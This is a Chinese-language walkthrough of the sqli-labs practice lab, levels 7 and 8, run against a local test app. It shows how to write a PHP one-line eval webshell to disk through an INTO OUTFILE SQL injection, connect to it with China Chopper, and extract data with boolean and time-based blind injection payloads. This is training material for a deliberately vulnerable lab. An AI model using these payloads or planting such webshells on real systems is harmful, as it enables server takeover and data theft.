Linux下sql_labs第七关,sqli-labs（7-8关）

知识点：

1.phpstudy文件读写权限的问题：使用show variables like '%secure%';在命令行中查看secure-file-priy当前的值，如果显示NULL，则需要打开phpstudy\MySQL\my.ini文件，在其中加上一句：secure_file_priv="/"

2.一句话木马(配合中国菜刀使用)：php版本：<?php @eval($_POST['pass']);?>，pass为密码

3.into outfile函数，写文件，用法：select 'mysql is very good' into outfile 'text1.txt'；或者是select 'mysql is very good' into outfile "写要保存的路径用\\"

文件位置：MySQL/data

4.load_file()函数，读取本地文件，用法：select load_file('写文件保存的路径')

5.if函数，if(condition,A,B)，如果条件condition为true，则执行语句A，否则执行B

例如：select if(1>2,4,5)，返回的结果是5(如果在mysql命令中使用，首先要use ×××数据库才可以)

第七关(Less-7)：

1.根据提示输入http://127.0.0.1/sqli-labs-master/Less-7/?id=1，由回显结果提示知使用outfile函数

2.判断是否存在SQL注入，输入http://127.0.0.1/sqli-labs-master/Less-7/?id=1'，报错，存在SQL注入

3.通过多次判断可知，输入http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+，回显结果正确

4.由前几关可知有三列，使用联合查询union select，将一句话木马写入

5.查看保存的文件路径，查看是否写入成功(写入成功)

6.先直接访问b.php，一句话是用php写的，所以不进行显示

7.使用一句话与中国菜刀进行连接，打开中国菜刀右键添加，输入http://127.0.0.1/sqli-labs-master/Less-7/b.php，密码为pass，点击添加

8.打开如图中的地址，即可得到最终结果

第八关(Less-8)：

方法一：布尔盲注(一位一位进行猜解)

1.根据提示输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1，出现与之前关卡相同的You are in......

2.判断是否存在SQL注入漏洞，输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'，You are in......消失，说明存在注入漏洞

3.判断可知，输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+，回显正常，说明接下来应该这样儿进行构造

4.判断列数，使用order by

5.将3改为4，出现如图所示结果，说明列数为三列

6.使用left函数判断第一位是否是s，回显正常，说明第一位是s

方法二：时间盲注

1.使用延迟的方法判断是否存在注入漏洞，使用sleep函数，无回显，说明存在注入漏洞

2.使用if函数对当前数据库(security库)的长度进行判断，输入http://127.0.0.1/sqli-labs-master/Less-8/?id=1'and if(length(database())=8,1,sleep(5))--+，length代表长度，当为8时，很快加载并有回显，说明当前数据库的长度为8。否则加载较慢(5s)。由此猜解出当前数据库长度为8

3.猜解当前数据库的每一位与方法一相同 。